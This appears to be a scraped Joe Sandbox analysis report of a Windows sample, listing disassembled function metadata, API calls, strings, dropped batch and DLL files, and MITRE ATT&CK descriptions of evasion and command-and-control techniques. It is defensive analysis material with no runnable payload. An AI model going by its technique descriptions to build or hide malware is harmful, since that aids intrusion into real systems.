Source File: 00000000.00000002.2109673953.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2109662170.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109685375.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109696404.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109707809.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BWuMwnE7tw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a20277a400fb642be710d4869ec2bcd9b4db83fc23c0e093b7f6ca33a819f6e2
Instruction ID: e052ad54e148c9824dea0ff193791d118479de1e911c6314483e4476b70d5c08
Opcode Fuzzy Hash: a20277a400fb642be710d4869ec2bcd9b4db83fc23c0e093b7f6ca33a819f6e2
Instruction Fuzzy Hash: 31B012B13843007BF110D7408F0AF1B7758A754F01F104010B304A90C0C2F06800C62D

Function 00401C40 Relevance: 1.3, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000,0040153E,?,?,004014AE,00000000), ref: 00401C4C

Memory Dump Source

Source File: 00000000.00000002.2109673953.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2109662170.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109685375.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109696404.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109707809.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BWuMwnE7tw.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 3452eea8fc26a77c091418c712361d3ad82bdca17a95aecdddbe1dfae72c4888
Instruction ID: 077609c2f21f1435d8c09927994ad9a076a1c16938dec3d85cfe3e8101f243b7
Opcode Fuzzy Hash: 3452eea8fc26a77c091418c712361d3ad82bdca17a95aecdddbe1dfae72c4888
Instruction Fuzzy Hash: 48B012B174030077D510DB508F0DF0773546750B00F1084107344A50C0C6B4B404CB1C

Non-executed Functions

Function 10007770 Relevance: 1.6, Strings: 1, Instructions: 323COMMON

Download Yara Rule

Strings

6, xrefs: 10007799

Memory Dump Source

Source File: 00000000.00000002.2112023724.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2112007918.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112040580.000000001000A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112054924.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112068924.000000001000E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_BWuMwnE7tw.jbxd

Similarity

API ID:
String ID: 6
API String ID: 0-498629140
Opcode ID: c38a232ed20ba8e24907c670369c1595ba032e8a13388d9657823522de41902a
Instruction ID: 1b3f4af497888b53fd365281aeb5f2a41ec7bc63058a9c565f656c0d3baf4bf9
Opcode Fuzzy Hash: c38a232ed20ba8e24907c670369c1595ba032e8a13388d9657823522de41902a
Instruction Fuzzy Hash: F5C15975A047429FD314CF68C88095AB7E5FF88380F154E2DE999C7749E734E909CBA2

Function 10001E10 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2112023724.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2112007918.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112040580.000000001000A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112054924.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112068924.000000001000E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_BWuMwnE7tw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aaefbdbe425c5aa7fb846bd34d1eb0f4a8a19ee6af318a2a42404b456b852010
Instruction ID: 082d9aa7fd4a7b989eb4da39068a55256bcff8a997aa6241da3f3cac159174e0
Opcode Fuzzy Hash: aaefbdbe425c5aa7fb846bd34d1eb0f4a8a19ee6af318a2a42404b456b852010
Instruction Fuzzy Hash: 2371FBBB60D2928ED3559F3DA0514EAFBE1EFAA310725987FD2C0C7351E231049AC768

Function 10008300 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2112023724.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2112007918.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112040580.000000001000A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112054924.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112068924.000000001000E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_BWuMwnE7tw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8541f79a5917ebf91703c51342671e0f2fce44a9db1cf0587c90437a07ee874
Instruction ID: d05f88d7f58b849e829ed68ad8b4b62817e379a5dedabc82ffe129ed719ec729
Opcode Fuzzy Hash: e8541f79a5917ebf91703c51342671e0f2fce44a9db1cf0587c90437a07ee874
Instruction Fuzzy Hash: E2518331A083934BE321DF258480766FBE2FB992C4F5A456CCAC05735AD735EE46C790

Function 00401D20 Relevance: 16.6, APIs: 11, Instructions: 111COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 00401D4D
__p__fmode.MSVCRT ref: 00401D62
__p__commode.MSVCRT ref: 00401D70
__setusermatherr.MSVCRT ref: 00401D9C
_initterm.MSVCRT ref: 00401DB2
__getmainargs.MSVCRT ref: 00401DD5
_initterm.MSVCRT ref: 00401DE5
GetStartupInfoA.KERNEL32(?), ref: 00401E24
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00401E48
exit.MSVCRT ref: 00401E58
_XcptFilter.MSVCRT ref: 00401E6A

Memory Dump Source

Source File: 00000000.00000002.2109673953.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2109662170.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109685375.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109696404.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109707809.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BWuMwnE7tw.jbxd

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: 143c9e8dcc1ab551373f0120bfaca85027ae735a0a25819c23ff821b8df6a2f8
Instruction ID: 9889600cf3eb4391f8ce6d24981125143470c5a89cbfe14180cb2d50d5b3fc35
Opcode Fuzzy Hash: 143c9e8dcc1ab551373f0120bfaca85027ae735a0a25819c23ff821b8df6a2f8
Instruction Fuzzy Hash: 71417075800344AFDB209FA4DA49AAEBFB8FB09711F20013FE941B72E0D7785940CB98

Function 10004280 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 123COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 1000436A
GetTickCount.KERNEL32 ref: 100043B9

Part of subcall function 10004240: vsprintf.MSVCRT ref: 10004258

Strings

Summary Time: %i:%i:%i, xrefs: 100043A8
Press any key..., xrefs: 100043CD
%s[ Line: %i Pos: %i ] , xrefs: 100042BE
Compile error [ 0x%X %i ]: , xrefs: 10004293
Run-time error [ 0x%X %i ]: , xrefs: 1000429C, 100042A5

Memory Dump Source

Source File: 00000000.00000002.2112023724.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2112007918.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112040580.000000001000A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112054924.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112068924.000000001000E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_BWuMwnE7tw.jbxd

Similarity

API ID: CountTick$vsprintf
String ID: Press any key...$%s[ Line: %i Pos: %i ] $Compile error [ 0x%X %i ]: $Run-time error [ 0x%X %i ]: $Summary Time: %i:%i:%i
API String ID: 3964146895-2992983336
Opcode ID: fb219ae7bc5e3754048a8c75435143f0b73f70548fed37221171dea3b9a7ae21
Instruction ID: 5a03128a077f208a78a2de5e596b407fc28f85d3173b41968825e96d7eba73eb
Opcode Fuzzy Hash: fb219ae7bc5e3754048a8c75435143f0b73f70548fed37221171dea3b9a7ae21
Instruction Fuzzy Hash: CE3191F5B007009BF264EB58EC81E2B72E9DB842C4B468518FD468365DEE20FD54C665

Function 10001180 Relevance: 6.3, APIs: 4, Instructions: 306COMMON

Download Yara Rule

APIs

_ftol.MSVCRT ref: 10001364
_ftol.MSVCRT ref: 10001377
_ftol.MSVCRT ref: 1000139B
_ftol.MSVCRT ref: 100013AE

Memory Dump Source

Source File: 00000000.00000002.2112023724.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2112007918.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112040580.000000001000A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112054924.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112068924.000000001000E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_BWuMwnE7tw.jbxd

Similarity

API ID: _ftol
String ID:
API String ID: 2545261903-0
Opcode ID: f0b3429af6d82819c45c162e22c1f9801bdbca7f3417f1e8cbe6ddec54b0f969
Instruction ID: dbb1350d90862c38006c1f3f9d3ba85d2949ed274592c816424a895a3dde99f9
Opcode Fuzzy Hash: f0b3429af6d82819c45c162e22c1f9801bdbca7f3417f1e8cbe6ddec54b0f969
Instruction Fuzzy Hash: A991A8BA6086528AD704EF1EF8914DAFBA0EFE4726F54857BD6C482300E331457DCBA5

Function 10004F80 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

CharLowerA.USER32(?), ref: 10004FAA
CharLowerA.USER32(00000000), ref: 10004FB3
CharLowerA.USER32(00000000), ref: 10004FC8
CharLowerA.USER32(00000000), ref: 10004FD5

Memory Dump Source

Source File: 00000000.00000002.2112023724.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2112007918.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112040580.000000001000A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112054924.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112068924.000000001000E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_BWuMwnE7tw.jbxd

Similarity

API ID: CharLower
String ID:
API String ID: 1615517891-0
Opcode ID: 285a1d7726aef36330d28cb51e1bb2515d9540c5ae1e0432bc58940cea301f56
Instruction ID: 803ff84b82c36d7cb0ac522535ba80d46392a79b4a5de3cf2bd2c6b7ac3af2e1
Opcode Fuzzy Hash: 285a1d7726aef36330d28cb51e1bb2515d9540c5ae1e0432bc58940cea301f56
Instruction Fuzzy Hash: 501129B55082830EE310CE759480ABFBBD9DF892C5F11483EE4D1C3106E912DC86D7A5

Function 10005E70 Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(FFFFFFFF,00000000,?,?,?,?,100043DF), ref: 10005EA3
SetConsoleMode.KERNEL32(FFFFFFFF,00000000,?,?,?,100043DF), ref: 10005EB8
ReadConsoleA.KERNEL32(FFFFFFFF,?,00000001,?,00000000,?,?,?,100043DF), ref: 10005ECF
SetConsoleMode.KERNEL32(FFFFFFFF,?,?,?,?,100043DF), ref: 10005EE1

Memory Dump Source

Source File: 00000000.00000002.2112023724.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2112007918.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112040580.000000001000A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112054924.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112068924.000000001000E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_BWuMwnE7tw.jbxd

Similarity

API ID: Console$Mode$Read
String ID:
API String ID: 109265299-0
Opcode ID: 83161c0ba534bb5bb16d501c264478f4720bd276e76e6166f4c934cfbf79780e
Instruction ID: 277fc34a9abc0aecee5556ef167951661a589cd638a54e99b0309d48df3b486c
Opcode Fuzzy Hash: 83161c0ba534bb5bb16d501c264478f4720bd276e76e6166f4c934cfbf79780e
Instruction Fuzzy Hash: DD01A275600329EFF310DB64CCC5FA773A9E784780F40460AFA54822E8DAB5E844CB72

Function 10005D80 Relevance: 6.0, APIs: 4, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

AllocConsole.KERNEL32 ref: 10005D8C
GetCPInfo.KERNEL32(00000000,?), ref: 10005D9B
GetStdHandle.KERNEL32(000000F5), ref: 10005DC9
GetStdHandle.KERNEL32(000000F6), ref: 10005DD2

Memory Dump Source

Source File: 00000000.00000002.2112023724.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2112007918.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112040580.000000001000A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112054924.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112068924.000000001000E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_BWuMwnE7tw.jbxd

Similarity

API ID: Handle$AllocConsoleInfo
String ID:
API String ID: 2979881050-0
Opcode ID: 79bd74d05196f55a5010c0ee49bf5578b07980fdf9a96f42d034c8fc4217eeeb
Instruction ID: 567dc61beafc005e892ce19f8db23f18483b42cedde438cadc3bdd48228512a6
Opcode Fuzzy Hash: 79bd74d05196f55a5010c0ee49bf5578b07980fdf9a96f42d034c8fc4217eeeb
Instruction Fuzzy Hash: E1F0B471C082358BF714DF68CC84B5B3BE4EB44790F11431BE855472A9D7314848CBA2

Function 00401890 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 23stringCOMMON

Download Yara Rule

APIs

lstrcmpA.KERNEL32(?,lzge_decode), ref: 004018A2
lstrcmpA.KERNEL32(?,launcher_get), ref: 004018B8

Strings

launcher_get, xrefs: 004018B2
lzge_decode, xrefs: 0040189C

Memory Dump Source

Source File: 00000000.00000002.2109673953.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2109662170.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109685375.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109696404.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109707809.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BWuMwnE7tw.jbxd

Similarity

API ID: lstrcmp
String ID: launcher_get$lzge_decode
API String ID: 1534048567-2981319874
Opcode ID: 5f1b5b9c6aa848f87772fa5498ba0eb44c79c04b265534716dc23dbc529ac21d
Instruction ID: b58090d80eb74edd8f84a636f1a44c18bb862bfbb85db56f3fac8cdddd56031d
Opcode Fuzzy Hash: 5f1b5b9c6aa848f87772fa5498ba0eb44c79c04b265534716dc23dbc529ac21d
Instruction Fuzzy Hash: 64D01763295621219211656EAC01EDB929D4AA5BA43068637F600F22E8C2BC9A8285AC

Function 100016C0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 186COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 100017C6

Strings

PQXy, xrefs: 100017B1
QRBx, xrefs: 100017D7

Memory Dump Source

Source File: 00000000.00000002.2112023724.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2112007918.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112040580.000000001000A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112054924.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112068924.000000001000E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_BWuMwnE7tw.jbxd

Similarity

API ID: __aulldiv
String ID: PQXy$QRBx
API String ID: 3732870572-156971322
Opcode ID: 7d0c917905162821b20e92d50607446e16b6ec4d67759af67f5b776bd5cc88ce
Instruction ID: fecae9029ccbbfb1907bd0fd8daed38a12235495696e2410105cb9617baf31f9
Opcode Fuzzy Hash: 7d0c917905162821b20e92d50607446e16b6ec4d67759af67f5b776bd5cc88ce
Instruction Fuzzy Hash: EA61DDB6605A00CFD324CF5DE980916FBE5FF98721324CA6EE699CB760D732A810CB54

Function 10005C40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Part of subcall function 10005C00: GetTempPathA.KERNEL32(00000400,?,?,00000400,00000000,10005C68,00000000,00000000,?,1000D32C,10006518,?,?,?,?,?), ref: 10005C18

GetTickCount.KERNEL32 ref: 10005C71

Strings

c:\temp, xrefs: 10005CE3
%s%cgentee%02X.tmp, xrefs: 10005CA5

Memory Dump Source

Source File: 00000000.00000002.2112023724.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2112007918.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112040580.000000001000A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112054924.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2112068924.000000001000E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_BWuMwnE7tw.jbxd

Similarity

API ID: CountPathTempTick
String ID: %s%cgentee%02X.tmp$c:\temp
API String ID: 536023709-1620203176
Opcode ID: 9545025e1248976237a9ac63636d111ce3a4898ca4c58a7d92d227503dd02c18
Instruction ID: 64502b199535dded57bf49a6d61c7b50f0ce444720b67ce1b81255a0c8b663d4
Opcode Fuzzy Hash: 9545025e1248976237a9ac63636d111ce3a4898ca4c58a7d92d227503dd02c18
Instruction Fuzzy Hash: 6721A4B9D00310AAF210FBB49C86FBF3198DB047D5FC10526FA459219EEB35AA048777

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report BWuMwnE7tw.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\deldll.bat

C:\Users\user\AppData\Local\Temp\gentee72\chromeum.bat

C:\Users\user\AppData\Local\Temp\gentee72\guig.dll

C:\Users\user\AppData\Local\Temp\gentee72\libeay32.dll

C:\Users\user\AppData\Local\Temp\gentee72\setup_temp.gea

C:\Users\user\AppData\Local\Temp\gentee72\ssleay32.dll

C:\Users\user\AppData\Local\Temp\genteert.dll

\Device\Null

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

Windows Analysis Report
BWuMwnE7tw.exe

Function 100059A0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 80
fileCOMMON

Function 004018D0 Relevance: 63.2, APIs: 26, Strings: 10, Instructions: 171
stringfilelibraryCOMMON

Function 004016A0 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 140
stringfileCOMMON

Function 10003C00 Relevance: 6.1, APIs: 4, Instructions: 120
COMMON

Function 10003980 Relevance: 5.1, APIs: 4, Instructions: 86
COMMON

Function 10003B40 Relevance: 5.0, APIs: 4, Instructions: 40
COMMON

Function 10005600 Relevance: 3.1, APIs: 2, Instructions: 94
libraryCOMMON

Function 10002A73 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Function 10005AF0 Relevance: 1.5, APIs: 1, Instructions: 36
fileCOMMON

Function 10005F90 Relevance: 1.5, APIs: 1, Instructions: 19
COMMON

Function 10005BC0 Relevance: 1.5, APIs: 1, Instructions: 19
fileCOMMON

Function 10005960 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Function 10005980 Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Function 100038C0 Relevance: 1.3, APIs: 1, Instructions: 31
COMMON

Function 00401C20 Relevance: 1.3, APIs: 1, Instructions: 7
memoryCOMMON